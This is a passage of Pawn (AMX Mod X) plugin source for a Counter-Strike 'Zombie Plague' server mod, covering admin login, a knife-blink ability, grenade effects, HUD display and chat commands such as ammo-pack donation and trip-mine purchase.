			copy(g_cTag[iPlayer], 24, g_cTags[i]);
			set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]), 0);
			log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", g_cName[iPlayer], g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
			return 0;
		}
		if (equali(g_cNames[i], g_cName[iPlayer], 0))
		{
			static Pw[32];
			get_user_info(iPlayer, "_pw", Pw, 31);
			if (equali(Pw, g_cPasswords[i], 0))
			{
				g_bAdmin[iPlayer] = true;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
				copy(g_cTag[iPlayer], 24, g_cTags[i]);
				set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]), 0);
				log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", g_cName[iPlayer], g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}
			else
			{
				server_cmd("kick #%d  You have no entry to the server...", get_user_userid(iPlayer));
				log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", g_cName[iPlayer], g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}
			return 0;
		}
		i += 1;
	}
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		check_for_swear(iPlayer);
	}
	return 0;
}

public FW_TraceLine_Post(Float:start[3], Float:end[3], conditions, id, trace)
{
	if (!CHECK_ValidPlayer(id))
		return 1;
	
	new iWeaponID = get_user_weapon(id);
	
	if ( iWeaponID != 29 )
	{
		
		OP_Cancel(id);
		return 1;
	}
	
	new enemy = g_iEnemy[id];
	
	if (!enemy)
	{
		
		enemy = get_tr2(trace, TR_pHit);
		
		if ( !CHECK_ValidPlayer(enemy) || g_bZombie[enemy] )
		{
			
			OP_Cancel(id);
			return 1;
		}
		
		g_iEnemy[id] = enemy;
	}
	
	return 1;
}

public FW_PlayerPreThink(id)
{
	
	if (!CHECK_ValidPlayer(id))
		return 1;
	
	new iWeaponID = get_user_weapon(id);
	
	if ( iWeaponID != 29 || !g_bZombie[id] )
	{
		
		OP_Cancel(id);
		return 1;
	}
	
	if ( g_iBlinks[id] == 0 )
		return 1;
	
	new button = pev(id,pev_button);
	
	if ( !(button & IN_ATTACK) && !(button & IN_ATTACK2) )
	{
		
		OP_Cancel(id)
		return 1;
	}
	
	if (g_iSlash[id])
		g_iSlash[id] = 0;
	
	OP_NearEnemy(id);
	
	if( g_iInBlink[id] )
	{
		
		OP_SetBlink(id);
		OP_Blink(id);
		g_iCanceled[id] = 0;
	}

	return 1;
}

public OP_NearEnemy(id)
{
	new enemy = g_iEnemy[id];
	new Float:time = get_gametime();
	
	if (!enemy || g_fLastSlash[id]+1.0>time)
	{
		
		g_iInBlink[id] = 0;
		return;
	}
	
	new origin[3], origin_enemy[3];
	
	get_user_origin(id, origin, 0);
	get_user_origin(enemy, origin_enemy, 0);
	
	new distance = get_distance(origin, origin_enemy);
	
	if ( 50.0<=distance<=300.0)
	{
		
		g_iInBlink[id] = 1;
		return;
		
	}else if (50.0>distance && g_iInBlink[id])
	{
		OP_Slash(id);
	}
	OP_Cancel(id);
}

public OP_Blink(id)
{
	new Float:new_velocity[3];
	new enemy = g_iEnemy[id];
	new Float:origin_enemy[3];
	
	pev(enemy, pev_origin, origin_enemy);
	entity_set_aim(id, origin_enemy);
	
	get_speed_vector2(id, enemy, 1000.0, new_velocity)
	set_pev(id, pev_velocity, new_velocity);
}

public OP_Cancel(id)
{
	g_iInBlink[id] = 0;
	g_iEnemy[id] = 0;
	if (!g_iCanceled[id])
	{
		OP_SetBlink(id);
		g_iCanceled[id] = 1;
	}
}

public OP_Slash(id)
{
	set_pev(id, pev_velocity, {0.0,0.0,0.0});
	
	new weaponID = get_user_weapon(id, _, _);
	
	if(weaponID == 29)
	{
		new weapon[32]
		
		get_weaponname(weaponID,weapon,31)
		
		new ent = fm_find_ent_by_owner(-1,weapon,id)
		
		if(ent)
		{
			set_pdata_float(ent,46, 0.0);
			set_pdata_float(ent,47, 0.0);
			g_iSlash[id] = 1;
			g_fLastSlash[id] = get_gametime();
			g_iBlinks[id] -= 1;
			PrintToChat(0, "^4[ZP]^3 %s^1 just used a knife blink! (Blinks remaining:^4 %i blinks^1)", g_cName[id], g_iBlinks[id]);
		}
	}  
}

public OP_SetBlink(id)
{
	new blink = g_iInBlink[id];
	
	if (blink>1)
		return;
	
	if (blink)
		g_iInBlink[id] += 1;
}

public CHECK_ValidPlayer(id){
	
	if (1<=id<=g_iMaxClients && is_user_alive(id))
		return 1;
	
	return 0;
}

public _ResetMaxSpeed(iPlayer)
{
    if (g_bAlive[iPlayer])
    {		
        if (g_bZombie[iPlayer])
        {
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
                set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
            }
            else
            {
                if (g_iPlayerType[iPlayer] & 1)
                {
                    set_speed(iPlayer, 250.00);
                    set_gravity(iPlayer, 0.50);
                }
                if (g_iPlayerType[iPlayer] & 2)
                {
                    set_speed(iPlayer, 600.00);
                    set_gravity(iPlayer, 0.40);
                }
            }
        }
		else
		{
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, 240.00);
                set_gravity(iPlayer, 1.00);
            }
            if (g_iPlayerType[iPlayer] & 4)
            {
                set_speed(iPlayer, 250.0);
                set_gravity(iPlayer, 1.20);
            }
            if (g_iPlayerType[iPlayer] & 8)
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.00);
            }	
            if (g_bTryder[iPlayer])
            {
                set_speed(iPlayer, 250.00);
                set_gravity(iPlayer, 0.55);
            }	
            if (g_bFrozen[iPlayer])
            {
                set_speed(iPlayer, 1.00);
            }				
		}
    }
    return 0;
}

public _GrenadeThink(Entity)
{
	if ( !pev_valid ( Entity ) ) return 1;

	static Float: DmgTime, Float: CurrentTime;
	
	pev ( Entity, pev_dmgtime, DmgTime );
	
	CurrentTime = get_gametime (  );
	
	if ( DmgTime > CurrentTime ) return 1;
	
	switch ( pev ( Entity, pev_flTimeStepSound ) )
	{
		case 1:
		{
			Infection_Explode ( Entity )
			return 4;
		}
		case 2: 
		{
			Explosion_Explode ( Entity );
			return 4;
		}
		case 3: 
		{
			Fire_Explode ( Entity );
			return 4;
		}
		case 4:
		{
			Freeze_Explode ( Entity );
			return 4;
		}		
	}
	
	return 1;
}

public _PlayerDuck(iPlayer)
{
	if (!g_bFrozen[iPlayer] && g_bZombie[iPlayer] && g_iPlayerType[iPlayer] & 1)
	{
		static Float:fCurrentTime;
		static Float:fCoolDown;
		if (g_iPlayerType[iPlayer])
		{
			fCoolDown = 1.0;
		}
		else
		{
			fCoolDown = 13.0;
		}
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastLeapTime[iPlayer] < fCoolDown || !(pev (iPlayer, pev_button) & (IN_JUMP | IN_DUCK) == (IN_JUMP | IN_DUCK) ) || !( pev(iPlayer, pev_flags) & FL_ONGROUND) || GetEntitySpeed (iPlayer) < 80)	
		{
			return 0;
		}
		static Float:fVelocity[3];
		if (g_iPlayerType[iPlayer])
		{
			velocity_by_aim(iPlayer, 500, fVelocity);
			fVelocity[2] = 300.00;
		}
		else
		{
			velocity_by_aim(iPlayer, 360, fVelocity);
			fVelocity[2] = 240.00;
		}
		set_velocity(iPlayer, fVelocity);
		g_fLastLeapTime[iPlayer] = fCurrentTime;
	}
	return 0;
}

public _PlayerDuck_Post(id)
{
	if ( !g_bAlive [id] ) return;
	
	if ( g_bZombie [id] && g_iPlayerType[id] & 1 && g_iPlayerType[id] & 2)
		
	set_pev ( id, pev_flTimeStepSound, 999 );
	
	if ( g_bFrozen [id])
	{
		set_pev ( id, pev_velocity, Float: {0.0,0.0,0.0} );
		
		set_pev ( id, pev_maxspeed, 1.0 );
		
		return;
	}
	else if ( FreezeTime )
	{
		return;
	}	
	else
	{
		if ( g_bZombie [id] )
		{
			if ( g_iPlayerType[id] & 1 )
			
			set_pev ( id, pev_maxspeed, 250.0 );
			
			else if (  g_iPlayerType[id] & 2 )
			
			set_pev ( id, pev_maxspeed, 600.0 );
			
			else
			set_pev ( id, pev_maxspeed, g_fZombieSpeeds[g_iZombieClass[id]]);
		}
		else
		{
			if (  g_iPlayerType[id] & 4 )
			
			set_pev ( id, pev_maxspeed, 230.0 );
			
			else if (  g_iPlayerType[id] & 8 )
			
			set_pev(id, pev_maxspeed, 235.0 );
			
			else						    
				
			set_pev(id, pev_maxspeed, 240.0 );			
		}
	}	
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (fGameTime - g_fLast[iPlayer] < 0.3)
	{
		server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
	}
	else
	{
		g_fLast[iPlayer] = fGameTime;
	}
	return 0;
}

public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[32];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 31);
	static iFlags;
	iFlags = get_user_flags(iPlayer);	
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (iFlags & read_flags ( "c" ))
			{
				if (equal(cModel, "administrator", 0))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i], 0))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (iFlags & read_flags ( "c" ))
				{
					set_user_model(iPlayer, "administrator");
				}
				else
				{
					set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "survivor");
				}
				if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", 0))
				{
					set_user_model(iPlayer, "arctic");
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "monster_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "monster_assassin");
			}
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
		light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			send_particle_burst(i);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
		}
		i += 1;
	}
	return 0;
}

public TaskWelcome()
{
	PrintToChat(0, "^1****^4 ZmOldSchool.CsBlackDevil.Com^1 ||^4 Zombie Plague 6.2 (UltimateX)^1 ****");
	PrintToChat(0, "^4[ZP]^1 Press^4 M^1 to open the game menu!");
	set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4 || g_iRoundType & 2)
	{
		client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
	}
	else
	{
		client_cmd(0, "spk zombie_plague/ambience_normal.wav");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 3)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
		set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cHealth[15];
	static iPlayer;
	static Red, Green, Blue;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (g_bZombie[iTask + -300])
	{
		Blue = 60;
	}
	else
	{
		Blue = 180;
	}
	if (g_bZombie[iTask + -300])
	{
		Green = 135;
	}
	else
	{
		Green = 120;
	}
	if (g_bZombie[iTask + -300])
	{
		Red = 180;
	}
	else
	{
		Red = 0;
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);	
		set_hudmessage(Red, Green, Blue, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if ( g_bRoundEnd ) return 0;
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_infection_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Attacker;
	
	Attacker = pev ( iEntity, pev_owner );
	
	static Victim;
	
	Victim = -1
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( GetHumans (  ) == 1 )
		{
			ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
			
			Make_Explosion(Victim, Attacker);
			
			g_Hidden[Victim] = true;	
			
			continue;
		}
		
		emit_sound(Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)], 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		MakeZombie(Attacker, Victim, false, false, false);
		
	}
	remove_entity(iEntity);
	return 0;
}

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_fire_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )

		g_iBurningDuration [Victim] += 4;
		else
		g_iBurningDuration [Victim] += 4 * 5;
	
		send_damage(Victim, 8);

		if (!task_exists(Victim + 200, 0))
		{
			 set_task(0.2, "TaskBurn", Victim + 200, "", 0, "b", 0);
		}
	}
	remove_entity(iEntity);
	return 0;
}

public TaskBurn ( iTask )
{
	static  flags;
	static iPlayer;
	iPlayer = iTask + -200;	
	flags = pev ( iPlayer, pev_flags );
	
	if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
	{
		send_smoke(iPlayer);

		remove_task(iTask, 0);
		
		return;
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
	{
		client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
	{
		static Float: velocity [3];
		
		pev ( iPlayer, pev_velocity, velocity );
		
		xs_vec_mul_scalar ( velocity, 1.0, velocity );
		
		set_pev ( iPlayer, pev_velocity, velocity );
	}
	
	static health;
	
	health = pev ( iPlayer, pev_health ); 
	
	if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
		
	set_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
	
	send_flame(iPlayer);

	g_iBurningDuration [iPlayer]--
}

Freeze_Explode ( iEntity )
{
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin )
	
	send_beam_cylinder(iEntity, 0, 100, 200, 200);

	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_frost_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;

		if (g_iPlayerType[Victim] & 1)
		{
			emit_sound(Victim, CHAN_AUTO, "zombie_plague/grenade_frost_freeze.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
			
			continue;
		}
		
		set_glow(Victim, 19, 13, 0, 100, 200);
		send_damage(Victim, 16384);
		set_frozen(Victim, true);
		g_bFrozen [Victim] = true;
		ExecuteHamB(Ham_Item_PreFrame, Victim);
		
		if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
		
			set_pev ( Victim, pev_gravity, 999999.9 );
		else
			set_pev ( Victim, pev_gravity, 0.000001 );	
		
		set_task ( 3.0, "TaskUnfreeze", Victim );
	}
	remove_entity(iEntity);
	return 0;
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, false);
		ExecuteHamB(Ham_Item_PreFrame, i);
		send_screen_fade(i);
		emit_sound(i, CHAN_AUTO, "zombie_plague/grenade_frost_break.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		send_break_glass(i);
		remove_glow(i);
	}
	return 0;
}

public Explosion_Explode ( Entity )
{
	send_explosion(Entity);
	
	static Attacker;
	
	Attacker = pev ( Entity, pev_owner );
	
	for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
	{
		if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
		
		if ( g_bZombie [Victim] )
		{
			static Float: fDistance, Float: fDamage;
			
			fDistance = entity_range ( Victim, Entity );
			
			if ( fDistance < 300.0 )
			{
				fDamage = 667.0 - fDistance;
				
				send_screen_shake(Victim);
				
				send_screen_fade(Victim);
				
				emit_sound(Victim, CHAN_AUTO, "fvox/flatline.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		
				if ( float ( get_health ( Victim ) ) - fDamage > 0.0 )
				{	
					ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
				}
				else
				{
					ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
					Make_Explosion(Victim, Attacker);
					g_Hidden[Victim] = true;
				}
				
				if ( g_iPlayerType[Victim] & 1 &&  g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
				
				PrintToChat(Attacker, "^4[ZP]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[Victim], fDamage);
				
				if ( fDamage >= 500)
					
				g_iPacks [Attacker] += 2;
				else
				g_iPacks [Attacker] += 1;
			}
		}
	}
	remove_entity(Entity);
	return 0;
}


public Command_Drop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public Command_JoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
	{
		menu_display(iPlayer, g_iGameMenu, 0);
		return 1;
	}
	return 0;
}

public EventStatusValue(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		static cHealth[15];
		static iVictim;
		static Red, Blue;
		iVictim = read_data(2);
		if (g_bZombie[iVictim] == g_bZombie[iPlayer])
		{
			if (g_bZombie[iPlayer])
			{
				Blue = 0;
			}
			else
			{
				Blue = 255;
			}
			if (g_bZombie[iPlayer])
			{
				Red = 255;
			}
			else
			{
				Red = 0;
			}			
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(Red, 50, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ %s | Health: %s | Armor: %d | Ammo: %d ]", g_cName[iVictim], g_cClass[iVictim], cHealth, get_armor(iVictim), g_iPacks[iVictim]);
		}
		if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(255, 50, 0, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
		}
	}
	return 0;
}

public EventStatusValueHide(iPlayer)
{
    ClearSyncHud(iPlayer, g_iCenterMessageSync);
    return 0;
}

public Commmand_PrivateSay(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	static cTarget[32];
	read_argv(1, cTarget, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cTarget, 0);
	static iLength;
	iLength = strlen(cTarget) + 1;
	if (!iTarget)
	{
	       return 1;
	}
	static cMessage[192];
	read_args(cMessage, 191);
	if (iPlayer && iTarget != iPlayer)
	{
	       PrintToChat(iPlayer, "^1[*^4 %s^1 *]^4 To ^1[*^3 %s^1 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	}
	PrintToChat(iTarget, "^1[*^4 %s^1 *]^3 To ^1[*^3 %s^1 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	console_print(iPlayer, "[* %s *] To [* %s *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	return 1;
}

public Client_SayTeam(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64)
	{
		if (get_user_flags(iPlayer) & read_flags("i"))
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && get_user_flags(iPlayer) & read_flags("i"))
				{
					PrintToChat(i, "^1[*^4 ADMINS^1 *]^3 %s^1 :  %s", g_cName[iPlayer], cMessage [1]);
				}
				i += 1;
			}
		}
		else
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && (read_flags ("i") || iPlayer != i))					
				{
					PrintToChat(i, "^1[*^3 PLAYER^1 *]^3 %s^1 :  %s", g_cName[iPlayer], cMessage [1]);
				}
				i += 1;
			}
		}
		return 1;
	}
	return 0;
}

public Client_Say(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 2);
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64 && get_user_flags(iPlayer) & read_flags ( "a" ))
	{
		static Float:fVertical;
		static i;
		g_iMessagePosition += 1;
		if (g_iMessagePosition > 3)
		{
			g_iMessagePosition = 0;
		}
		switch (g_iMessagePosition)
		{
			case 0:
			{
				fVertical = 0.45;
			}
			case 1:
			{
				fVertical = 0.5;
			}
			case 2:
			{
				fVertical = 0.55;
			}
			case 3:
			{
				fVertical = 0.60;
			}
			default:
			{
			}
		}
		set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i])
			{
				show_hudmessage(i, "%s :  %s", g_cName[iPlayer], cMessage [1]);
			}
			i += 1;
		}
		return 1;
	}
	if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
	{
		static cMap[32];
		get_cvar_string("nextmap", cMap, 32);
		if (cMap[0])
		{
			PrintToChat(iPlayer, "^1Next map:^4 %s", cMap);
		}
		else
		{
			PrintToChat(iPlayer, "^1Next map:^4 [not yet voted on]");
		}
	}
	else
	{
		if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
		{
			static iTimeleft;
			iTimeleft = get_timeleft();
			PrintToChat(0, "^1Time Remaining:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
		}
		if (equali(cMessage, "/currentmap", 0) || equali(cMessage, "currentmap", 0))
		{
			static cMap[32];
			get_mapname(cMap, 32);
			PrintToChat(0, "Current map:^4 %s", cMap);
		}
		if (equali(cMessage, "/thetime", 0) || equali(cMessage, "thetime", 0))
		{
			static cTime[64];
			get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
			PrintToChat(0, "^1The Time:^1  %s", cTime);
		}
		if (equali(cMessage, "/lm", 0) || equali(cMessage, "lm", 0))
		{
			if (!g_bAlive[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
				return 0;
			}
			if (g_bZombie[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
				return 0;
			}
			if (6 > g_iPacks[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You need^4 6 ammo packs");
				return 0;
			}
			if (g_iRoundType & 128 || g_bRoundEnd || g_iRoundType & 256 || g_iRoundType & 512)
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You can't buy a trip mine right now...");
				return 0;
			}
			g_iPacks[iPlayer] -= 6;
			g_iTripMines[iPlayer]++;
			client_cmd(iPlayer, "bind p CreateLaser; bind v TakeLaser");
			PrintToChat(iPlayer, "^4[ZP]^1 You bought a trip mine. Press^3 P^1 to plant it or^3 V^1 to take it");
		}
		if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
		{
			static iAmmo;
			static iTarget;
			static cAmmo[5];
			static cTarget[32];
			static cDummy[15];
			parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
			iTarget = GetTarget(iPlayer, cTarget, 0);
			iAmmo = str_to_num(cAmmo);
			if (!iTarget)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 Invalid player or matching multiple targets!");
				return 1;
			}
			if (0 >= iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 Invalid value of packs to send!");
				return 1;
			}
			if (g_iPacks[iPlayer] < iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 You are trying to send too many packs!");
				return 1;
			}
			if (iTarget == iPlayer)
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You are trying to send packs to you!");
				return 1;
			}
			AddCommas(iAmmo, cDummy, 14);
			g_iPacks[iTarget] += iAmmo;
			g_iPacks[iPlayer] -= iAmmo;
			PrintToChat(0, "^4[ZP]^3 %s^1 gave^4 %s packs^1 to^3 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
		}
	}
	if (g_bAlive[iPlayer])
	{
		if (!g_cTag[iPlayer][0])
		{
			PrintToChatEx(false, iPlayer, "^1*ALIVE*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
			return 0;
		}
		else
		{
			PrintToChatEx(false, iPlayer, "^1*ALIVE*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			return 0;
		}
	}
	else
	{
		if (0 < get_user_team(iPlayer) < 3)
		{
			if (!g_cTag[iPlayer][0])
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^1*SPEC*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
				return 0;
			}
			else
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^1*SPEC*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
				return 0;
			}
		}
		if (!g_cTag[iPlayer][0])
		{
